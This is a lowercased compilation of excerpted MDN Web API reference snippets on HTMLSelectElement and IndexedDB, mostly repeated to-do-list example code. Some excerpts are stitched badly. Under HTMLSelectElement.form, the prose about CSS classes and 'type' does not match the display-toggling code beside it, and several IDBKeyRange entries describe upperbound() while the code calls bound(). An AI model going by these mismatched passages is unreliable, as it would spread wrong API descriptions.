... append to an existing collection var sel = document.getelementbyid("existinglist"); var opt = document.createelement("option"); opt.value = "3"; opt.text = "option: value 3"; sel.add(opt, null); /* takes the existing following select object: <select id="existinglist"> <option value="1">option: value 1</option> <option value="2">option: value 2</option> </select> and changes it to: <select id="existinglist"> <option value="1">option: value 1</option> <option value="2">option: value 2</option> <option value="3">option: value 3</option> </select> */ the before parameter is optional.
... inserting to an existing collection var sel = document.getelementbyid("existinglist"); var opt = document.createelement("option"); opt.value = "3"; opt.text = "option: value 3"; sel.add(opt, sel.options[1]); /* takes the existing following select object: <select id="existinglist"> <option value="1">option: value 1</option> <option value="2">option: value 2</option> </select> and changes it to: <select id="existinglist"> <option value="1">option: value 1</option> <option value="3">option: value 3</option> <option value="2">option: value 2</option> </select> */ specifications specification status comment html living standardthe definition of 'htmlselectelement.add()' in th...
HTMLSelectElement.form - Web APIs
syntax edit aform = aselectelement.form.selectname; example html <form action="http://www.google.com/search" method="get"> <label>google: <input type="search" name="q"></label> <input type="submit" value="search..."> </form> javascript a property available on all form elements, "type" returns the type of the calling form element.
... for select, the two possible values are "select-one" or "select-multiple", depending on the type of selection list.
... the below code gives all select elements in a particular form a css class of "selectclass": <script type="text/javascript"> var form_element = document.getelementbyid('subscribe_form'); var vist = form_element.style; if (vist.display=='' || vist.display=='none') { vist.display = 'block'; } else { vist.display = 'none'; } </script> specifications specification status comment html living standardthe definition of 'form' in that specification.
HTMLSelectElement.selectedOptions - Web APIs
html the html that creates the selection box and the <option> elements representing each of the food choices looks like this: <label for="foods">what do you want to eat?</label><br> <select id="foods" name="foods" size="7" multiple> <option value="1">burrito</option> <option value="2">cheeseburger</option> <option value="3">double bacon burger supreme</option> <option value="4">pepperoni pizza</option> <option value="5">taco</option> </select> <br> <button name="order" id="order"> order now </button> <p id="output"> </p>...
... javascript the javascript code that establishes the event handler for the button, as well as the event handler itself, looks like this: let orderbutton = document.getelementbyid("order"); let itemlist = document.getelementbyid("foods"); let outputbox = document.getelementbyid("output"); orderbutton.addeventlistener("click", function() { let collection = itemlist.selectedoptions; let output = ""; for (let i=0; i<collection.length; i++) { if (output === "") { output = "your order for the following items has been placed: "; } output += collection[i].
...label; if (i === (collection.length - 2) && (collection.length < 3)) { output += " and "; } else if (i < (collection.length - 2)) { output += ", "; } else if (i === (collection.length - 2)) { output += ", and "; } } if (output === "") { output = "you didn't order anything!"; } outputbox.innerhtml = output; }, false); this script sets up a click event listener on the "order now" button.
IDBCursorWithValue - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/idbcursor" target="_top"><rect x="1" y="1" width="90" height="50" fill="#fff" ...
...stroke="#d4dde4" stroke-width="2px" /><text x="46" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">idbcursor</text></a><polyline points="91,25 101,20 101,30 91,25" stroke="#d4dde4" fill="none"/><line x1="101" y1="25" x2="131" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/idbcursorwithvalue" target="_top"><rect x="131" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="221" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">idbcursorwithvalue</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} methods inherits methods from its...
...for a complete working example, see our idbcursor example (view example live.) function displaydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); cursor.continue(); } else { cons...
IDBDatabase.close() - Web APIs
WebAPIIDBDatabaseclose
syntax idbdatabase.close(); example // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); // opening a database.
... // create event handlers for both success and failure of dbopenrequest.onerror = function(event) { note.innerhtml += "<li>error loading database.</li>"; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += "<li>database initialised.</li>"; // store the result of opening the database in the db variable.
... db = dbopenrequest.result; // now let"s close the database again!
IDBDatabase.createObjectStore() - Web APIs
example // let us open our database var request = window.indexeddb.open("todolist", 4); // this handler is called when a new version of the database // is created, either when one has not been created before // or when a new version number is submitted by calling // window.indexeddb.open().
...request.onupgradeneeded = function(event) { var db = event.target.result; db.onerror = function(event) { note.innerhtml += "<li>error loading database.</li>"; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { unique: false }); objectstore.createindex("notified", "notified", { unique: false })...
...; note.innerhtml += "<li>object store created.</li>"; }; specification specification status comment indexed database api 2.0the definition of 'createobjectstore()' in that specification.
IDBKeyRange.lower - Web APIs
WebAPIIDBKeyRangelower
here we declare keyrangevalue = idbkeyrange.upperbound("f", "w", true, true); — a range that includes everything between "f" and "w" but not including them — since both the upper and lower bounds have been declared as open (true).
... after declaring the key range, we log its lower property value to the console, which should appear as "f".
... note: for a more complete example allowing you to experiment with key range, have a look at our idbkeyrange-example repo (view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.bound("f", "w", true, true); console.log(keyrangevalue.lower); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed...
IDBKeyRange.lowerOpen - Web APIs
here we declare keyrangevalue = idbkeyrange.upperbound("f", "w", true, true); — a range that includes everything between "f" and "w" but not including them — since both the upper and lower bounds have been declared as open (true).
... after declaring the key range, we log its loweropen property value to the console, which should appear as "true": the lower bound is open, so won't be included in the range.
... note: for a more complete example allowing you to experiment with key range, have a look at our idbkeyrange-example repo (view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.bound("f", "w", true, true); console.log(keyrangevalue.loweropen); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displ...
IDBKeyRange.only() - Web APIs
WebAPIIDBKeyRangeonly
here we declare a keyrangevalue = idbkeyrange.only("a"); — a range that only includes the value "a".
...this means that the cursor will only retrieve the record with the key value "a".
... note: for a more complete example allowing you to experiment with key range, have a look at our idbkeyrange repo (view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.only("a"); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specificatio...
IDBKeyRange.upper - Web APIs
WebAPIIDBKeyRangeupper
here we declare keyrangevalue = idbkeyrange.upperbound("f", "w", true, true); — a range that includes everything between "f" and "w" but not including them — since both the upper and lower bounds have been declared as open (true).
... after declaring the key range, we log its upper property value to the console, which should appear as "w".
... note: for a more complete example allowing you to experiment with key range, have a look at our idbkeyrange-example repo (view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.bound("f", "w", true, true); console.log(keyrangevalue.upper); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed...
IDBKeyRange.upperBound() - Web APIs
here we declare keyrangevalue = idbkeyrange.upperbound("f"); — a range that includes the value "f" and everything before it.
... if we used idbkeyrange.upperbound("f", true);, then the range excludes "f"; and instead only includes the values before it.
... note: for a more complete example allowing you to experiment with key range, have a look at our idbkeyrange-example repo (view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.upperbound("f"); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification ...
IDBKeyRange.upperOpen - Web APIs
here we declare keyrangevalue = idbkeyrange.upperbound("f", "w", true, true); — a range that includes everything between "f" and "w" but not including them — since both the upper and lower bounds have been declared as open (true).
... after declaring the key range, we log its upperopen property value to the console, which should appear as "true": the upper bound is open, so won't be included in the range.
... note: for a more complete example allowing you to experiment with key range, have a look at our idbkeyrange-example repo (view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.bound("f", "w", true, true); console.log(keyrangevalue.upperopen); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displ...
IDBObjectStore.add() - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... // this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
... duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'add()' in that specification.
IDBObjectStore.autoIncrement - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... // this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
... duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.autoincrement); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'autoincrement' in that specification.
IDBObjectStore.createIndex() - Web APIs
for a full working example, see our to-do notifications app (view example live.) var db; // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); // two event handlers for opening the database.
...dbopenrequest.onupgradeneeded = function(event) { var db = event.target.result; db.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", {...
... unique: false }); objectstore.createindex("notified", "notified", { unique: false }); }; specifications specification status comment indexed database api 2.0the definition of 'createindex()' in that specification.
IDBObjectStore.deleteIndex() - Web APIs
for a full working example, see our to-do notifications app (view example live.) var db; // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database being opened successfully, or not dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...ed before, or a new version number has been submitted via the // window.indexeddb.open line above //it is only implemented in recent browsers dbopenrequest.onupgradeneeded = function(event) { var db = this.result; db.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", {...
... unique: false }); objectstore.createindex("notified", "notified", { unique: false }); objectstore.deleteindex("seconds"); objectstore.deleteindex("contact"); }; specifications specification status comment indexed database api 2.0the definition of 'deleteindex()' in that specification.
IDBObjectStore.indexNames - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... // this is used a lot below db = this.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
... duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.indexnames); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'indexnames' in that specification.
IDBObjectStore.keyPath - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... // this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
... duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.keypath); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'keypath' in that specification.
IDBObjectStore.openCursor() - Web APIs
valid values are "next", "nextunique", "prev", and "prevunique".
... the default is "next".
... example in this simple fragment we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the object store: var transaction = db.transaction("name", "readonly"); var objectstore = transaction.objectstore("name"); var request = objectstore.opencursor(); request.onsuccess = function(event) { var cursor = event.target.result; if(cursor) { // cursor.value contains the current record being iterated through // this is where you'd do something with the result cursor.continue(); } else { // no more results } }; specifi...
IDBObjectStore.openKeyCursor() - Web APIs
valid values are "next", "nextunique", "prev", and "prevunique".
... the default is "next".
... example in this simple fragment we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the object store: var transaction = db.transaction("name", "readonly"); var objectstore = transaction.objectstore("name"); var request = objectstore.openkeycursor(); request.onsuccess = function(event) { var cursor = event.target.result; if(cursor) { // cursor.key contains the key of the current record being iterated through // note that there is no cursor.value, unlike for opencursor // this is where you'd do something with the res...
IDBObjectStore.transaction - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... // this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
... duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.transaction); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'transaction' in that specification.
IDBOpenDBRequest.onblocked - Web APIs
}; example var db; // let us open our database var request = indexeddb.open("todolist", 4); // these two event handlers act on the database being opened // successfully, or not request.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; request.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... before, or a new version number has been submitted via the // window.indexeddb.open line above //it is only implemented in recent browsers request.onupgradeneeded = function(event) { var db = event.target.result; db.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); ...
... }; request.onblocked = function() { console.log("your database version can't be upgraded because the app is open somewhere else."); } specifications specification status comment indexed database api 2.0the definition of 'onblocked' in that specification.
IDBRequest.onerror - Web APIs
the event handler takes one parameter, an error event with type="error".
...for a full working example, see our to-do notifications app (view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has this title as it's title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest.result; // u...
...pdate the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item back // into the database var updatetitlerequest = objectstore.put(data); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; objectstoretitlerequest.onerror = function() { // if an error occurs with the request, log what it is console.log("there has been an error with retrieving your data: " + objectstoretitlerequest.error); // todo what about event parameter into onerror()?
IDBRequest.onsuccess - Web APIs
the event handler takes one parameter, a success event with type="success".
...for a full working example, see our to-do notifications app (view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has this title as it's title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest.result; // u...
...pdate the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item back // into the database var updatetitlerequest = objectstore.put(data); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'onsuccess' in that specification.
IDBRequest - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#ff...
...f" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/idbrequest" target="_top"><rect x="151" y="1" width="100" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="201" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">idbrequest</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties also inherits properties from e...
...for a full working example, see our to-do notifications app (view example live.) var db; // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database being // opened successfully, or not dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database.
IDBTransaction.abort() - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
... duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // abort the transaction we just did transaction.abort(); }; specification specification status comment indexed database api 2.0the definition of 'abort()' in that specification.
IDBTransaction.db - Web APIs
WebAPIIDBTransactiondb
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... // this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
... duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // return the database (idbdatabase) connection with which this transaction is associated transaction.db; }; specification specification status comment indexed database api 2.0the definition of 'db' in that specification.
IDBTransaction.error - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... // this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error: ' + transaction.e...
...rror + '</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'error' in that specification.
IDBTransaction.objectStore() - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... // this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
... duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; specification specification status comment indexed database api 2.0the definition of 'objectstore()' in that specification.
IDBTransaction.onabort - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... // this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error: ' + transaction.er...
...ror + '</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; transaction.onabort = function() { // report when the transaction was successfully aborted console.log("transaction aborted!"); }; // abort the transaction we just did transaction.abort(); }; specification specification status comment indexed database api 2...
IDBTransaction.oncomplete - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... // this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error: ' + transaction.er...
...ror + '</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.oncomplete) note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'oncomplete' in that specification.
IDBTransaction.onerror - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
